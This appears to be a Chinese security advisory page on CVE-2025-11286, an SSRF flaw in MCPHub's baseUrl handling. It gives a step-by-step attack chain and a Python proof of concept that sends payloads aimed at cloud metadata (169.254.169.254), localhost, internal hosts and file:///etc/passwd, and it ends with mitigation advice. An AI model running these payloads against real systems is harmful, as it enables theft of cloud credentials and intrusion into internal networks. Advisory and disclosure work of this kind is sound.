IPBUF安全漏洞报告
English
CVE-2025-11286 CVSS 4.7 中危

CVE-2025-11286:MCPHub MCPRouter服务SSRF漏洞

披露日期: 2025-10-05

漏洞信息

漏洞编号
CVE-2025-11286
漏洞类型
服务端请求伪造(SSRF)
CVSS评分
4.7 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
samanhappy MCPHub

相关标签

SSRF服务端请求伪造MCPHubMCPRouterbaseUrl中危漏洞网络攻击已公开PoC

漏洞概述

CVE-2025-11286是samanhappy MCPHub产品中存在的一个服务端请求伪造(SSRF)漏洞,影响版本为0.9.10及以下。该漏洞位于MCPRouter服务的src/controllers/serverController.ts文件中,具体涉及对baseUrl参数的处理逻辑存在缺陷。攻击者可以通过操纵baseUrl参数,诱导服务器端向任意内部或外部地址发起HTTP请求,从而绕过网络访问控制,访问受限资源或探测内网拓扑。

根据CVSS 3.1评分标准,该漏洞评分为4.7分,属于中危级别。其攻击向量为网络(AV:N),攻击复杂度低(AC:L),但需要高权限(PR:H),无需用户交互(UI:N)。在影响方面,对机密性、完整性和可用性均产生低级别影响。值得注意的是,该漏洞的利用代码已被公开披露,攻击者可以直接利用现有PoC发起攻击。

供应商在漏洞披露初期已被联系,但未作出任何回应,这进一步增加了用户面临的安全风险。由于MCPHub通常作为AI模型上下文协议(Model Context Protocol)的服务端组件运行,可能涉及多个下游服务和敏感数据交互,SSRF漏洞的危害可能被放大。该漏洞已于2025年10月5日公开披露,目前尚无官方补丁发布。

技术细节

该漏洞的技术根源在于MCPHub的MCPRouter服务中对baseUrl参数缺乏充分的验证和过滤机制。serverController.ts控制器负责处理服务器相关的路由请求,其中baseUrl参数用于指定MCP服务器的目标地址。

在正常情况下,baseUrl应指向合法的MCP服务端点。然而,由于代码未对用户输入的baseUrl进行严格的URL校验、白名单过滤或协议限制,攻击者可以构造恶意URL(如指向内网地址、localhost、AWS元数据服务169.254.169.254等),使服务器端代为发起请求。

利用方式如下:
1. 攻击者首先需要获取MCPHub的高权限账户(如管理员账户);
2. 通过MCPRouter接口提交包含恶意baseUrl的请求;
3. 服务器接收请求后,使用攻击者控制的URL发起内部请求;
4. 服务器将响应内容返回给攻击者,或根据响应内容执行后续操作;
5. 攻击者可借此访问内网服务、读取云元数据、扫描端口或绕过防火墙。

由于该漏洞需要高权限才能触发,攻击者通常需要先通过其他途径获取合法凭据,或利用配置错误获得访问权限。一旦获得权限,SSRF漏洞将成为内网渗透的有力工具。

攻击链分析

STEP 1
步骤1:获取高权限凭据
攻击者通过钓鱼、暴力破解、配置泄露或其他漏洞获取MCPHub管理员级别的账户凭据。由于漏洞需要高权限才能触发,此步骤是攻击的前置条件。
STEP 2
步骤2:定位MCPRouter接口
攻击者通过信息收集确定MCPRouter服务的API端点位置,通常为/api/server/configure或类似路径,用于配置服务器连接信息。
STEP 3
步骤3:构造恶意baseUrl
攻击者构造包含恶意URL的baseUrl参数,可指向内部服务(如127.0.0.1、192.168.x.x)、云元数据服务(如169.254.169.254)或任意外部地址。
STEP 4
步骤4:提交SSRF请求
通过认证后的API请求提交恶意baseUrl,服务器端控制器serverController.ts接收请求后,使用恶意URL发起内部HTTP请求。
STEP 5
步骤5:利用响应数据
服务器将内部请求的响应返回给攻击者,攻击者可提取敏感信息(如云IAM凭据、内网服务配置、端口扫描结果等),用于后续渗透攻击。
STEP 6
步骤6:内网横向移动
基于获取的内网信息,攻击者可进一步访问内部服务、窃取敏感数据或对内网系统发起进一步攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11286 PoC - MCPHub SSRF via baseUrl manipulation # Reference: https://github.com/August829/YU1/issues/7 import requests TARGET_URL = "https://target-mcphub-server.com" # Attacker needs high-privilege credentials (admin account) AUTH_TOKEN = "<admin_jwt_token>" # Step 1: Identify the MCPRouter endpoint # Typically located at /api/server/configure or similar endpoint = f"{TARGET_URL}/api/server/configure" # Step 2: Craft malicious baseUrl payload # Targeting internal services or cloud metadata payloads = [ # AWS metadata service {"baseUrl": "http://169.254.169.254/latest/meta-data/"}, # Internal service {"baseUrl": "http://127.0.0.1:8080/admin"}, # Internal network scan {"baseUrl": "http://192.168.1.1:8080/"}, # File protocol (if supported) {"baseUrl": "file:///etc/passwd"}, ] headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } # Step 3: Send SSRF payload for payload in payloads: print(f"[*] Testing payload: {payload['baseUrl']}") response = requests.post(endpoint, json=payload, headers=headers, verify=False) print(f"[+] Response status: {response.status_code}") print(f"[+] Response body: {response.text[:500]}") print("-" * 50) # Step 4: Extract sensitive information from response # If targeting metadata service, extract IAM credentials # If targeting internal services, extract admin endpoints

影响范围

samanhappy MCPHub <= 0.9.10

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)限制MCPHub管理控制台的访问,仅允许可信IP地址访问;2)在网络层面实施出站流量控制,阻止服务器访问内网地址段(127.0.0.0/8、10.0.0.0/8、172.16.0.0/12、192.168.0.0/16)和云元数据服务地址(169.254.169.254);3)审计现有MCPRouter配置,确保所有baseUrl指向合法且受信任的服务端点;4)加强管理员账户的安全防护,包括启用多因素认证、使用强密码策略、限制登录尝试次数等;5)监控MCPRouter相关的API调用日志,及时发现异常的服务器配置变更行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表